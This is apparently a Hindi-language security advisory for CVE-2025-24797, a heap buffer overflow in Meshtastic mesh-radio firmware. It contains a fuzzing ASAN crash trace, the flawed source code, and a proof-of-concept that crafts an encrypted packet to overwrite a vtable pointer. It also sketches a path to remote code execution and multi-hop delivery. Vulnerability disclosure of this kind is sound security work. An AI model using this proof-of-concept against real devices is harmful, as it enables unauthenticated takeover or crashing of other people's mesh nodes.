
Meshtastic बफर ओवरफ्लो भेद्यता - CVE-2025-24797
मेश पैकेटों में अमान्य प्रोटोबफ डेटा को संभालने में एक त्रुटि के परिणामस्वरूप हमलावर-नियंत्रित बफर ओवरफ़्लो हो सकता है, जिससे हमलावर निष्पादन प्रवाह को हाईजैक कर सकता है और संभावित रूप से रिमोट कोड निष्पादन (RCE) हो सकता है। इस हमले के लिए प्रमाणीकरण या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है, जब तक लक्ष्य उपकरण डिफ़ॉल्ट चैनल पर पैकेटों को पुनः प्रसारित करता है।
यह कमजोरी मूल रूप से फ़ज़िंग के माध्यम से खोजी गई थी, जिसके परिणामस्वरूप निम्नलिखित ASAN एबॉर्ट हुआ:
DEBUG | 22:27:03 0 State: BOOT
DEBUG | 22:27:03 0 Lora RX (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 Packet RX: 845ms
DEBUG | 22:27:03 0 [Router] Add packet record (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 [Router] Use channel 0 (hash 0x8)
DEBUG | 22:27:03 0 [Router] Expand short PSK #1
DEBUG | 22:27:03 0 [Router] Use AES128 key!
ERROR | 22:27:03 0 [Router] Can't decode protobuf reason='wrong wire type', pb_msgdesc 0x55f23cf543c0
ERROR | 22:27:03 0 [Router] Invalid protobufs in received mesh packet id=0x76f4febf (bad psk?)!
WARN | 22:27:03 0 [Router] No suitable channel found for decoding, hash was 0x8!
DEBUG | 22:27:03 0 [Router] packet decoding failed or skipped (no PSK?) (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Module 'routing' wantsPacket=1
INFO | 22:27:03 0 [Router] Received routing from=0x10, id=0x76f4febf, portnum=10320, payloadlen=25
DEBUG | 22:27:03 0 [Router] Routing sniffing (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
INFO | 22:27:03 0 [Router] Rebroadcast received floodmsg
DEBUG | 22:27:03 0 [Router] enqueuing for send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
DEBUG | 22:27:03 0 [Router] Set random delay before tx
DEBUG | 22:27:03 0 [Router] Delivering rx packet (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Forwarding to phone (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
ERROR | 22:27:03 0 [Router] Packet too large to attempt decryption! (rawSize=10320 > 256)
DEBUG | 22:27:03 0 [Router] Module 'routing' considered
DEBUG | 22:27:03 0 [SimRadio] delay done
DEBUG | 22:27:03 0 [SimRadio] Start low level send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
=================================================================
==6992==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000006e0 at pc 0x7f85755a7397 bp 0x7fff161319a0 sp 0x7fff16131148
READ of size 10320 at 0x6130000006e0 thread T0
#0 0x7f85755a7396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x55f23a1c40d2 in RadioInterface::beginSending(_meshtastic_MeshPacket*) src/mesh/RadioInterface.cpp:621
#2 0x55f23a297a8d in SimRadio::startSend(_meshtastic_MeshPacket*) src/platform/portduino/SimRadio.cpp:261
#3 0x55f23a29782f in SimRadio::onNotify(unsigned int) src/platform/portduino/SimRadio.cpp:231
#4 0x55f23a0c8ee2 in concurrency::NotifiedWorkerThread::checkNotification() src/concurrency/NotifiedWorkerThread.cpp:82
#5 0x55f23a0c8f3c in concurrency::NotifiedWorkerThread::runOnce() src/concurrency/NotifiedWorkerThread.cpp:89
#6 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
#7 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
#8 0x55f23a154893 in loop src/main.cpp:1259
#9 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
#10 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#11 0x7f8574ad7e3f in __libc_start_main_impl ../csu/libc-start.c:392
#12 0x55f239f8f8b4 in _start (/home/alain/marc/program+0x1098b4)
0x6130000006e0 is located 0 bytes to the right of 352-byte region [0x613000000580,0x6130000006e0)
allocated by thread T0 here:
#0 0x7f8575621887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x55f23a1d55ac in MemoryDynamic<_meshtastic_MeshPacket>::alloc(unsigned int) src/mesh/MemoryPool.h:71
#2 0x55f23a16aeb3 in Allocator<_meshtastic_MeshPacket>::allocCopy(_meshtastic_MeshPacket const&, unsigned int) src/mesh/MemoryPool.h:38
#3 0x55f23a16a573 in FloodingRouter::perhapsRebroadcast(_meshtastic_MeshPacket const*) src/mesh/FloodingRouter.cpp:60
#4 0x55f23a16a91e in FloodingRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/FloodingRouter.cpp:97
#5 0x55f23a1ca301 in ReliableRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/ReliableRouter.cpp:141
#6 0x55f23a220710 in RoutingModule::handleReceivedProtobuf(_meshtastic_MeshPacket const&, _meshtastic_Routing*) src/modules/RoutingModule.cpp:26
#7 0x55f23a22141f in ProtobufModule<_meshtastic_Routing>::handleReceived(_meshtastic_MeshPacket const&) src/mesh/ProtobufModule.h:100
#8 0x55f23a17e8fa in MeshModule::callModules(_meshtastic_MeshPacket&, RxSource) src/mesh/MeshModule.cpp:132
#9 0x55f23a1d437b in Router::handleReceived(_meshtastic_MeshPacket*, RxSource) src/mesh/Router.cpp:618
#10 0x55f23a1d5211 in Router::perhapsHandleReceived(_meshtastic_MeshPacket*) src/mesh/Router.cpp:681
#11 0x55f23a1cfc2c in Router::runOnce() src/mesh/Router.cpp:71
#12 0x55f23a1cc01d in ReliableRouter::runOnce() src/mesh/ReliableRouter.h:79
#13 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
#14 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
#15 0x55f23a154893 in loop src/main.cpp:1259
#16 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
#17 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
0x0c267fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c267fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c267fff80a0: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff80c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
0x0c267fff80e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c267fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8110: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==6992==ABORTING
भ्रष्टाचार तब होता है जब कोई पैकेट memcpy ऑपरेशन के दौरान भेजा जाता है, जो एन्क्रिप्टेड बाइट्स को radioBuffer में कॉपी करता है। फ़ील्ड p->encrypted.size का मान radioBuffer.payload (240 बाइट्स) के आकार से बड़ा होता है।
// src/mesh/RadioInterface.cpp
size_t RadioInterface::beginSending(meshtastic_MeshPacket *p)
{
// ...
memcpy(radioBuffer.payload, p->encrypted.bytes, p->encrypted.size);
// ...
}
अमान्य आकार मान का कारण एक लॉजिकल बग है जो पैकेट को डिकोड करते समय होता है। डिक्रिप्टेड पैकेट डेटा को pb_decode_from_bytes का उपयोग करके डिकोड किया जाता है, जिसका गंतव्य प्राप्त पैकेट स्ट्रक्ट p होता है।
// src/mesh/Router.cpp
bool perhapsDecode(meshtastic_MeshPacket *p)
{
// ...
// Try to decrypt the packet if we can
crypto->decrypt(p->from, p->id, rawSize, bytes);
// printBytes("plaintext", bytes, p->encrypted.size);
// Take those raw bytes and convert them back into a well structured protobuf we can understand
memset(&p->decoded, 0, sizeof(p->decoded));
if (!pb_decode_from_bytes(bytes, rawSize, &meshtastic_Data_msg, &p->decoded)) {
LOG_ERROR("Invalid protobufs in received mesh packet id=0x%08x (bad psk?)!", p->id);
} else if (p->decoded.portnum == meshtastic_PortNum_UNKNOWN_APP) {
LOG_ERROR("Invalid portnum (bad psk?)!");
} else {
decrypted = true;
break;
}
// ...
}
यदि डिकोडिंग सफल होती है, तो decrypted को true पर सेट किया जाता है और which_payload_variant को सही ढंग से meshtastic_MeshPacket_decoded_tag पर अपडेट किया जाता है।
// src/mesh/Router.cpp
bool perhapsDecode(meshtastic_MeshPacket *p)
{
// ...
if (decrypted) {
// parsing was successful
p->which_payload_variant = meshtastic_MeshPacket_decoded_tag; // change type to decoded
// ...
हालांकि, यदि डिकोडिंग असफल होती है, तो which_payload_variant अपडेट नहीं होता है। क्योंकि p->encrypted और p->decoded एक यूनियन के रूप में लागू किए गए हैं और उनके मेमोरी क्षेत्र ओवरलैप होते हैं, p->encrypted में डेटा pb_decode_from_bytes द्वारा डिकोड किए गए आंशिक डेटा से दूषित हो गया है और इसका उपयोग करना असुरक्षित है।
चूंकि नोड्स डिफ़ॉल्ट रूप से प्राप्त पैकेटों को पुनः प्रसारित करते हैं, दूषित पैकेट भेजने के लिए शेड्यूल हो जाता है। RadioInterface::beginSending में कोड सही ढंग से मानता है कि पैकेट एन्क्रिप्टेड प्रारूप में है, और मानता है कि p->encrypted तक पहुंचना सुरक्षित है, जिसके कारण दूषित आकार memcpy को पास हो जाता है, जो संभावित रूप से बफर को ओवरफ़्लो कर सकता है।
यह कुछ उदाहरण कोड है जो दिखाता है कि एक दुर्भावनापूर्ण संदेश कैसे भेजा जाए जो इस कमजोरी को ट्रिगर करता है।
uint32_t from = 2;
uint32_t id = 2;
meshtastic_Data d = meshtastic_Data_init_default;
// We can choose the memcpy size by setting portnum, as it overlaps with the `encrypted->size` field
uint16_t memcpy_size = sizeof(meshtastic_Data);
d.portnum = static_cast<meshtastic_PortNum>(memcpy_size);
// This is the data written outside of radioBuffer
d.dest = 0xAAAAAAAA;
// Overwrites virtual table pointer
d.source = 0xBBBBBBBB;
d.request_id = 0xCCCCCCCC;
d.reply_id = 0xDDDDDDDD;
d.emoji = 0xEEEEEEEE;
d.has_bitfield = false;
byte internal_data[256] = {};
size_t internal_size = pb_encode_to_bytes(internal_data, sizeof(internal_data), &meshtastic_Data_msg, &d);
// Cause deserialization to fail by adding a stray byte
assert(internal_size < sizeof(internal_data));
internal_data[internal_size] = 0xFF;
internal_size += 1;
channels.setActiveByIndex(0);
crypto->encryptPacket(from, id, internal_size, internal_data);
meshtastic_MeshPacket p = meshtastic_MeshPacket_init_default;
p.from = from;
p.to = 4294967295; // Broadcast
p.id = id;
p.channel = 0x8;
p.hop_limit = 3;
p.hop_start = 3;
p.which_payload_variant = meshtastic_MeshPacket_encrypted_tag;
p.encrypted.size = internal_size;
memcpy(p.encrypted.bytes, internal_data, sizeof(p.encrypted.bytes));
meshtastic_MeshPacket *allocPacket = packetPool.allocCopy(p);
rIf->send(allocPacket);
और यहाँ प्राप्त करने वाला नोड हमारे अधिलेखित vtable पॉइंटर को लोड करने का प्रयास करते हुए क्रैश हो रहा है:

हमलावर के पास बफर के आकार और सामग्री पर नियंत्रण होता है क्योंकि लिखा गया डेटा एन्क्रिप्टेड पैकेट डेटा पर आधारित होता है जिसे डिकोड किया जा रहा है। memcpy के आकार को संशोधित करके एक हमलावर हीप डेटा संरचनाओं को दूषित कर सकता है, जिससे सेवा से वंचित (DoS) हो सकती है।
हमलावर के पास ओवरफ़्लो किए गए क्षेत्र के एक सीमित भाग पर भी नियंत्रण होता है, क्योंकि meshtastic_Packet स्ट्रक्ट गंतव्य RadioBuffer से बड़ा होता है। radioBuffer के बाद तीन स्ट्रक्ट फ़ील्ड आते हैं: int8_t power; float savedFreq; uint32_t savedChannelNum। ये ऑपरेशन के दौरान उपयोग नहीं किए जाते हैं और सुरक्षित रूप से अधिलेखित किए जा सकते हैं। इन फ़ील्ड के बाद, concurrency::NotifiedWorkerThread का वर्चुअल टेबल पॉइंटर आता है। इस पॉइंटर को अधिलेखित करके, एक हमलावर अगली बार जब थ्रेड चलाया जाता है तो मनमाने ढंग से निष्पादन को पुनर्निर्देशित कर सकता है, जो संभावित रूप से रिमोट कोड निष्पादन (RCE) की अनुमति देता है।
हमारा अनुमान है कि एम्बेडेड सिस्टम पर जहां ASLR या मेमोरी निष्पादन सुरक्षा नहीं है, एक कार्यशील RCE शोषण काफी सरल है, क्योंकि हमलावर शेलकोड को सीधे पैकेट के अंदर शामिल कर सकता है। यदि मेमोरी निष्पादन सुरक्षा मौजूद है, तो एक हमलावर फर्मवेयर के अंदर मौजूदा विधियों को कॉल करके RCE या अन्य विनाशकारी व्यवहार प्राप्त करने में सक्षम हो सकता है। यदि ASLR मौजूद है, तो हम मानते हैं कि पतों को लीक करने के लिए एक और कमजोरी की आवश्यकता है।
यह कमजोरी उन नोड्स पर भी दुरुपयोग की जा सकती है जो कई हॉप दूर हैं। क्योंकि पैकेट को पुनः प्रसारित किया जाता है, एक हमलावर दुर्भावनापूर्ण एन्क्रिप्टेड डेटा के कई चरणों को नेस्ट कर सकता है, जहां प्रारंभिक चरण आकार फ़ील्ड को वैध मानों से अधिलेखित करते हैं। डेटा प्रत्येक हॉप पर तब तक अनपैक होता रहेगा जब तक अंतिम अधिलेखन ट्रिगर नहीं हो जाता।